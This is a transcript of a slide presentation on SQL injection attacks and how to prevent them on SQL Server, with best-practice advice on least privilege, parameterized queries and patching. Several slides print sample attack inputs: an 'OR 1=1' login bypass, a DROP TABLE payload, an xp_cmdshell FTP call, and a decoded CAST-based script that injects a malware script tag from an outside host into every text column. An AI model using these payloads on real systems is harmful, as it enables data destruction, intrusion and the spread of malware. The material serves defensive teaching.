Understanding and preventing sql injection attacks
1 / 32

Understanding and Preventing SQL Injection Attacks - PowerPoint PPT Presentation

  • Uploaded on

Understanding and Preventing SQL Injection Attacks. Kevin Kline, Technical Strategy Manager Twitter @ kekline Blog at http://KevinEKline.com. Your Speaker: Kevin Kline. Agenda. What is SQL Injection? An Attacker’s Approach SQL Injection Techniques Preventing SQL Injection

I am the owner, or an agent authorized to act on behalf of the owner, of the copyrighted work described.
Download Presentation

PowerPoint Slideshow about ' Understanding and Preventing SQL Injection Attacks' - hali

An Image/Link below is provided (as is) to download presentation

Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author.While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server.

- - - - - - - - - - - - - - - - - - - - - - - - - - E N D - - - - - - - - - - - - - - - - - - - - - - - - - -
Presentation Transcript
Understanding and preventing sql injection attacks
Understanding and Preventing SQL Injection Attacks

Kevin Kline, Technical Strategy Manager

Twitter @kekline

Blog at http://KevinEKline.com


  • What is SQL Injection?

  • An Attacker’s Approach

  • SQL Injection Techniques

  • Preventing SQL Injection

  • Security Best Practices & Tips

  • Useful Links and Resources

What is sql injection
What is SQL Injection?

  • SQL injection occurs when a malicious user controls the criteria of SQL statements and enters values that alter the original intention of the SQL statement

Who is vulnerable
Who is Vulnerable?

  • All SQL database platforms are susceptible

  • Bypasses firewall protections

  • Applications that build and send SQL strings are vulnerable

    • Coding techniques can be exploited

    • SQL statement itself is hacked

    • Formatting vulnerabilities

Like this
Like This…

Courtesy of http://xkcd.com/327/

Or this webcode

  • string cmdStr = @"SELECT order_id, order_date, qty

  • FROM Production.Orders

  • WHERE customer_name LIKE '%" + SearchText.Text

  • + "%'";

    using (SqlConnectionconn = new SqlConnection(connStr))

    using (SqlDataAdaptersda = new SqlDataAdapter(cmdStr, conn))


    DataTabledtOrders = new DataTable();


    return dtOrders.DefaultView;


Or This Webcode…

Injected values can range from bad
Injected Values Can Range from Bad…

The “Good” search text:

'Hanso Foundation'

The “Curious” search text:

'Widmore Industries' or 1=1 -- ‘

The “Exploratory” search text:



WHERE TABLE_NAME = 'Address' --

To worse
…To Worse

The Ugly search text:

…ZZZ'; DROP TABLE customer_credit_card --

The REALLY UGLY search text:

…ZZZ'; xp_cmdshell(‘FTP …’)


  • …understand the concept of ‘surface area’

  • …use error messages to learn about the structure of the underlying SQL statements and database

  • …exploit SQL formatting characters (single quotes, comment notation (--), semi-colons, etc)

Then attackers
Then Attackers…

  • …manipulate the SQL statements to learn about the structure of the database and data

  • …execute SQL statements at will

  • …use built-in trap doors inside of the DBMS to go to the next level

    • Upload their own files, even replacing your own

    • Examine the rest of your infrastructure

    • Download data

    • Launch malware and bots

Sql injection techniques
SQL Injection Techniques

  • Probing databases

  • Bypassing authorization

  • Executing multiple SQL statements

  • Calling built-in stored procedures

  • Exiting to the OS for command-line access

  • Inserting code to be used by the web app

Probing databases
Probing Databases

  • Web apps usually return connectivity error information – unless you trap the errors!

  • Hackers can use this information and continually modify parameters to discover:

    • Table names, column names, data types, row values

Error Type:

Microsoft OLE DB Provider for SQL Server (0x80040E14)

Unclosed quotation mark before the character string ′

having 1 = 1--′.

/Project1/Demo.asp, line 14

Bypassing authorization
Bypassing Authorization

Good Guy, passes these values - UserID: administrator Password: GoodOne

SELECT * FROM usersWHERE username = ‘administrator’

AND password = ‘GoodOne’;

Bad Guy, passes this value - UserID: ‘ OR 1=1 Password --


WHERE username = ‘’ OR 1=1 – and password =

Insert statement injections
INSERT Statement Injections

Good Guy

INSERT INTO Authors (auName, EmailAddress)

VALUES (‘Julian Isla’, ‘[email protected])

Bad Guy

INSER INTO Authors (auName, EmailAddress)

VALUES (‘SELECT TOP 1 name FROM sys.sys_logins’, [email protected]’);

EXEC xp_regread HKEY… ;

Very Bad Guy, uses scripting and text/xml fields

Blind sql injection
Blind SQL Injection

  • Good apps trap default errors and show their own. Hackers flank this with:

    • Normal Blind: Get response data from error codes, severity levels, and HTTP status codes

    • Totally Blind: Gather data through IF…THEN testing, response times, logging, and system functions.

Blind example
Blind Example

URL query string:

DECLARE%[email protected]%20NVARCHAR(4000);SET%[email protected]=CAST(0x440045004300...7200%20AS%20NVARCHAR(4000));EXEC(@S);--



SET @S=CAST(0x440045004300...7200 AS NVARCHAR(4000));


SELECT CAST('this could be some bad code' as varbinary(256))

SELECT CAST (0x7468697320636F756C6420626520736F6D652062616420636F6465 as varchar(256))

Blind example1
Blind Example

Final SQL code being executed (hex value decoded):

DECLARE @T varchar(255),@C varchar(255)


select a.name,b.name from sysobjectsa,syscolumns b

where a.id=b.id and a.xtype='u' and

(b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)

OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C


exec('update ['[email protected]+'] set ['[email protected]+']=rtrim(convert(varchar,['[email protected]+

']))+''<script src=http://www.211796*.net/f****p.js></script>''')



CLOSE Table_Cursor


Sql injection as an attack vector
SQL Injection as an Attack Vector

  • Attackers have chosen not to go after data

  • Targets have been legitimate web sites

  • Plant links and redirects to malware sites

  • Use of a blended attack (browser vulnerability) to infect the client computer

  • Take control of client computers

Preventing sql injection
Preventing SQL Injection

  • Never let an app connect as sysadmin

    • Least privilege principle

  • Building secure SQL statements and apps:

    • Input validation: check for valid input

      • Don’t check for bad input, you will always miss a case

    • Use stored procedure to hide application logic – no default error messages; no direct access to tables

    • Use parameterized input, not string concatenation

    • Multi layered input checking: application, stored procedure, database schema

  • Apply the latest security patches!

Best practices service accounts
Best Practices, Service Accounts

  • SQL Server may use the local system account.

  • Set up a specific Windows login (not Admin!) with appropriate privileges for use by the MSSQLServer system service.

  • Add a separate Windows login (not Admin!) for SQLServerAgent system service.

Best practices security settings
Best Practices, Security Settings

  • Enable ‘Non-sysadmin job step proxy account’ on SQL Server Agent.

  • Set security Audit Level at least to ‘Failure’. Monitor it!

  • Make sure data and log files are on NTFS with proper ACLs applied.

  • Restrict system stored proc’s and XP’s to sysadmins-only

  • Remove guest from all but master and tempdb

  • Disable anything unneeded and unused! (e.g. SQL Browser service, unneeded network protocols)

  • Use Windows Authentication where feasible..

Best practices security checks
Best Practices, Security Checks

  • Check for null and bad passwords frequently

  • Check for non-SA permissions on all system SPs and XPs

  • Monitor failed login attempts

  • Three free scanner utils (HP Scrawlr, URLScan, and Microsoft Source Code Analyzer for SQL Injection (http://www.sqlmag.com/Articles/ArticleID/100720/100720.html?Ad=1)

  • Microsoft Assessment and Planning (MAP) is a great tool as well, available at http://technet.microsoft.com/en-us/library/bb977556.aspx

    Tip: Get Quest Discovery Wizard for free!

Best practices security practices
Best Practices, Security Practices

  • Strong SA password

    • at least 6 digits long with at least 2 numbers

    • Add mixed case and symbols for more strength

  • Use roles for provisioning, not users

    • More work, user must be assigned to a login and role

    • Easy to forget when user leaves

  • Never hardcode passwords

  • Never write apps for use by the SA account

  • Change passwords frequently

Best practices security for developers
Best Practices, Security for Developers

  • Do Not Trust User Input

    Data Validation

    • Black list vs White list

  • Run With Least Privilege

  • Defense in Depth

  • Fail Intelligently

  • Test Security

  • Remove unused stored procedures, views, and UDFs

Best practices security for developers cont d
Best Practices, Security for Developers (cont’d)

  • Use Parameterized Queries or Stored Procedures

    • Do not use string concatenations to build SQL queries

  • Use Views and Stored Procedures

  • Demand security savvy third-party applications!


  • http://www.sqlsecurity.com – my favorite for broad security and tools on SQL Server

  • Microsoft SQL Injection white paper at http://msdn.microsoft.com/en-us/library/ms161953.aspx

  • How-to: Prevent SQL Injection on ASP.Nethttp://msdn.microsoft.com/en-us/library/ms998271.aspx

  • SQL Injection via CAST: http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html

  • SQL Injection Cheat Sheet: http://ferruh.mavituna.com

Quest Software Swag for SQL Server

Free posters, guides, and other goodies. HTTP://www.quest.com/backstage/promotion.aspx

March 2010

July 2010

Free DVD Training: HTTP://db-management.com/live

Quest Software Resources for SQL Server

SQLServerPedia – SQL Server knowledge base, straight from the experts.


SQL Server Community – Online discussion forums, customization library, and beta programs.


SQL Server Backstage – All things SQL Server at Quest including our Pain of the Week Webcasts.


Questions ?

Send questions to me at: [email protected]

Twitter @kekline

Blogs at SQLServerPedia.com, SQLblog.com, SQLMag.com, etc.

Rate Me – http://SpeakerRate.com/kekline/

Content at http://KevinEKline.com/Slides/